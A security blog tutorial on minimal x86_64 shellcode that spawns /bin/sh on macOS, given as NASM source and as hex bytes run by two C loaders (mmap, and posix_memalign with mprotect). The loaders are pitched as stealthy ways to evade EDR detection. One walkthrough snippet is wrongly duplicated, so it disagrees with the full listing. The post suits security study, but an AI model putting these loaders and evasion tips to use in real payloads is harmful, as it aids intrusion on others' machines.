5 minute read

Hello, cybersecurity enthusiasts and white hackers!

malware

In this short post I’ll explore a minimalistic Linux-style shellcode that surprisingly works on modern macOS x86_64 (in my case Sonoma):

malware

Despite using execve("/bin//sh", NULL, NULL), which is technically non-compliant on macOS, it launches a fully functional shell. Let’s dive in.

practical example

What is the main goal? Create a macOS shellcode that spawns /bin/sh using the execve syscall with no arguments or environment. We’ll write it in pure NASM and launch it via a simple C loader using mmap.

We start by clearing eax and edx. This sets up registers with known zeroes and avoids using .data or .bss:

xor     esi, esi         ; zero out ESI
mul     esi              ; zero out RAX, RDX

Then, set syscall number:

bts     eax, 25          ; set the 25th bit => eax = 0x02000000
mov     al, 59           ; eax = 0x0200003b (execve syscall on macOS)

As you can see, we use bts to set bit 25 in eax. Then mov al, 59 sets the lower byte, making eax = 0x200003b, which is execve on macOS.

At the next step, we push the string directly onto the stack to avoid storing it in the .data section. Double slashes are valid: /bin//sh is equivalent to /bin/sh:

push    rsp              ; push pointer to string
pop     rdi              ; rdi = "/bin//sh"

Set up registers for execve like this:

push    rsp              ; push pointer to string
pop     rdi              ; rdi = "/bin//sh"

This gives us:

execve("/bin//sh", NULL, NULL)

Finally, trigger syscall:

syscall

If all goes well - we drop into a shell.

Important note about unexpected behavior: Although POSIX requires argv != NULL, and macOS traditionally crashes on execve(..., NULL, ...), recent versions (Sonoma) appear to gracefully accept NULL argv, possibly coercing it to [filename, NULL]. This is likely a compatibility or security-hardening adjustment.

So full NASM source code looks like this hack.asm:

; hack.asm
; linux-style minimal shellcode
; author: @cocomelonc
; https://cocomelonc.github.io/macos/2025/08/02/malware-mac-7.html
global start

section .text
start:
    bits 64
    xor     esi, esi
    mul     esi
    bts     eax, 25
    mov     al, 59
    mov     rbx, '/bin//sh'
    push    rdx
    push    rbx
    push    rsp
    pop     rdi
    syscall

demo

Let’s go to see this in action. Compile it:

nasm -f macho64 hack.asm -o hack.o

malware

linking:

ld -arch x86_64 -macos_version_min 14.0 -e start -static -o hack hack.o

malware

Then, run:

./hack

malware

As you can see, everything works as expected.

practical example 2

What about C wrapper?

Try to run this shellcode via C. Run:

objdump -M intel -d hack

malware

So, our C code looks like this (hack2.c):

/*
* hack2.c
* run Linux-style minimal 
* shellcode via mmap
* author: @cocomelonc
* https://cocomelonc.github.io/macos/2025/08/02/malware-mac-7.html
*/
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

unsigned char code[] =
  /* 0000 */ "\x31\xf6"                                 /* xor     esi, esi                */
  /* 0002 */ "\xf7\xe6"                                 /* mul     esi                     */
  /* 0004 */ "\x0f\xba\xe8\x19"                         /* bts     eax, 0x19               */
  /* 0008 */ "\xb0\x3b"                                 /* mov     al, 0x3b                */
  /* 000A */ "\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68" /* movabs  rbx, 0x68732f2f6e69622f */
  /* 0014 */ "\x52"                                     /* push    rdx                     */
  /* 0015 */ "\x53"                                     /* push    rbx                     */
  /* 0016 */ "\x54"                                     /* push    rsp                     */
  /* 0017 */ "\x5f"                                     /* pop     rdi                     */
  /* 0018 */ "\x0f\x05";                                /* syscall                         */

int main() {
  size_t pagesize = sysconf(_SC_PAGESIZE);

  void *exec = mmap(0, pagesize, PROT_READ | PROT_WRITE | PROT_EXEC,
                    MAP_PRIVATE | MAP_ANON, -1, 0);

  if (exec == MAP_FAILED) {
    perror("mmap");
    return 1;
  }

  memcpy(exec, code, sizeof(code));
  ((void(*)())exec)();

  return 0;
}

demo 2

Compile it:

clang -o hack2 hack2.c

malware

Finally, run it:

./hack2

malware

It works! Great!

practical example 3 (shellcode execution using posix_memalign + mprotect)

In this example I’ll explore another method of executing shellcode on macOS - using posix_memalign() and mprotect() instead of mmap(). This method is subtle and cleaner in some cases, especially when working with memory-aligned regions, and avoids MAP_ANON allocation.

What is posix_memalign? The function:

posix_memalign(void **memptr, size_t alignment, size_t size)

allocates memory aligned on a specified boundary - perfect for page alignment (pagesize).

It’s great when:

You want manual control over memory alignment.
You prefer not to use mmap(), which can be noisy or blocked in hardened environments.
You want to work with portable heap memory.

What about mprotect? Memory allocated via malloc or posix_memalign is usually non-executable due to DEP (Data Execution Prevention). To allow execution, we use:

mprotect(buf, pagesize, PROT_READ | PROT_WRITE | PROT_EXEC);

This marks the memory region as executable.

Warning! To be honest, mprotect() might fail silently if System Integrity Protection (SIP) is enabled. Test in VM, debug mode, or hardened lab.

Here’s the full C code using posix_memalign and mprotect to execute our shellcode (hack3.c):

/*
* hack3.c
* run via posix_memalign + mprotect
* author: @cocomelonc
* https://cocomelonc.github.io/macos/2025/08/02/malware-mac-7.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

unsigned char code[] =
  /* 0000 */ "\x31\xf6"                                 /* xor     esi, esi                */
  /* 0002 */ "\xf7\xe6"                                 /* mul     esi                     */
  /* 0004 */ "\x0f\xba\xe8\x19"                         /* bts     eax, 0x19               */
  /* 0008 */ "\xb0\x3b"                                 /* mov     al, 0x3b                */
  /* 000A */ "\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68" /* movabs  rbx, 0x68732f2f6e69622f */
  /* 0014 */ "\x52"                                     /* push    rdx                     */
  /* 0015 */ "\x53"                                     /* push    rbx                     */
  /* 0016 */ "\x54"                                     /* push    rsp                     */
  /* 0017 */ "\x5f"                                     /* pop     rdi                     */
  /* 0018 */ "\x0f\x05"                                 /* syscall                         */;


int main() {
  size_t pagesize = sysconf(_SC_PAGESIZE);
  void *buf = NULL;

  // allocate page-aligned buffer
  if (posix_memalign(&buf, pagesize, pagesize) != 0) {
    perror("posix_memalign");
    return 1;
  }

  memcpy(buf, code, sizeof(code));

  // mark buffer as executable
  if (mprotect(buf, pagesize, PROT_READ | PROT_WRITE | PROT_EXEC) != 0) {
    perror("mprotect");
    return 1;
  }

  // run shellcode
  ((void(*)())buf)();

  // free(buf); // optional

  return 0;
}

demo

Compilation:

clang -arch x86_64 -o hack3 hack3.c

malware

Run:

./hack3

malware

As you can see, it works! We got a /bin/sh shell!

This method is clean and stealthy, especially for educational PoC on older or debug-enabled macOS systems. You avoid mmap() syscalls, which might be detected by some EDRs, and gain better control over memory alignment.

But on newer macOS with SIP, even this might be blocked - so I think it only works in controlled labs or hardened VMs.

conclusion

This code shows that ultra-minimal Linux shellcode still works on macOS Sonoma, which is both surprising and educational.

This opens possibilities for stealthy payloads and training Red/Blue teams on cross-platform assumptions.

Want the same for ARM64 M1/M2 shellcode? It will be in the next posts of this macOS hacking series.

I hope this post is useful for malware researchers, macOS/Apple security researchers, ASM programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

macOS hacking part 1
macOS hacking part 2
macOS hacking part 3
macOS hacking part 4
macOS hacking part 5
macOS hacking part 6
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine